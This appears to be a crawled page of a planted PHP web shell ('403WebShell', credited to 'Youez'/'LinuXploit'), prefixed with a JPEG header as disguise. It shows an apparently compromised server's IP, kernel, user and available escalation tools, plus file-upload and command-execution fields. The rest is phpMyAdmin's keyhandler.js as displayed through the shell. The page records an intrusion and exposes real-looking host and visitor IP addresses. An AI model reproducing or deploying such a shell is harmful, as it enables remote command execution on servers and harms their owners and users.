????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.116.85.79
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpmyadmin/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/phpmyadmin/js//keyhandler.js
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
  * Allows moving around inputs/select by Ctrl+arrows
  *
  * @param object   event data
  */

AJAX.registerTeardown('keyhandler.js', function() {
    $('#table_columns').die('keydown keyup');
    $('table.insertRowTable').die('keydown keyup');
});

AJAX.registerOnload('keyhandler.js', function() {
    $('#table_columns').live('keydown keyup', function(event) {
        onKeyDownArrowsHandler(event.originalEvent);
    });
    $('table.insertRowTable').live('keydown keyup', function(event) {
        onKeyDownArrowsHandler(event.originalEvent);
    });
});

function onKeyDownArrowsHandler(e)
{
    e = e||window.event;
    var o = (e.srcElement||e.target);
    if (!o) {
        return;
    }
    if (o.tagName != "TEXTAREA" && o.tagName != "INPUT" && o.tagName != "SELECT") {
        return;
    }console.log(e);
    if (navigator.userAgent.toLowerCase().indexOf('applewebkit/') != -1) {
        if (e.ctrlKey || e.shiftKey || !e.altKey) {
            return;
        }
    } else {
        if (!e.ctrlKey || e.shiftKey || e.altKey) {
            return;
        }
    }
    if (!o.id) {
        return;
    }

    var pos = o.id.split("_");
    if (pos[0] != "field" || typeof pos[2] == "undefined") {
        return;
    }

    var x = pos[2], y = pos[1];

    var nO = null;

    switch(e.keyCode) {
        case 38:
            // up
            y--;
            break;
        case 40:
            // down
            y++;
            break;
        case 37:
            // left
            x--;
            break;
        case 39:
            // right
            x++;
            break;
        default:
            return;
    }

    var is_firefox = navigator.userAgent.toLowerCase().indexOf("firefox/") > -1;

    // restore selected index, bug #3799
    if (is_firefox && e.type == "keyup") {
        o.selectedIndex = window["selectedIndex_" + o.id];
    }

    var id = "field_" + y + "_" + x;
    nO = document.getElementById(id);
    if (! nO) {
        id = "field_" + y + "_" + x + "_0";
        nO = document.getElementById(id);
    }

    // skip non existent fields
    if (! nO) {
        return;
    }
    if (e.type == "keydown") {
        nO.focus();
        if (is_firefox) {
            window["selectedIndex_" + nO.id] = nO.selectedIndex;
        }
    }
    if (nO.tagName != 'SELECT') {
        nO.select();
    }
    e.returnValue = false;
}

Youez - 2016 - github.com/yon3zu
LinuXploit